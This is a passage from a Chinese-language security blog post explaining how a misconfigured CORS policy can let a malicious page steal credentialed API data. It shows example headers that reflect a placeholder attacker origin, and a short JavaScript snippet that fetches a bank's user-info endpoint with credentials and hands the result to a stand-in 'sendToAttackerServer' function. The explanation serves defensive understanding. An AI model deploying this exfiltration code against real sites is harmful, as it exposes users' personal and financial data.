欢迎访问 内存溢出 —— 独立后端与系统工程技术博客

专注于分布式系统、Linux内核、数据库存储与后端工程实践

跨域资源共享陷阱:CORS Misconfiguration 凭据窃取场景剖析

发表于:|最后更新:|分类:Web安全|阅读:6112 次

当服务端粗暴地使用反射 Origin 并设置 Access-Control-Allow-Credentials: true 时,恶意网页可以通过前端 JavaScript 跨域拉取目标 API 返回的包含敏感 PII 或资金数据的完整 JSON 报文。

一、高危 CORS 响应头模式

http
# 客户端发送
Origin: https://malicious-attacker.com

# 危险服务端配置(盲目信任请求来源):
Access-Control-Allow-Origin: https://malicious-attacker.com
Access-Control-Allow-Credentials: true
javascript
// 攻击者页面上的利用代码
fetch('https://target-bank.com/api/user/info', { credentials: 'include' })
  .then(response => response.json())
  .then(data => sendToAttackerServer(data));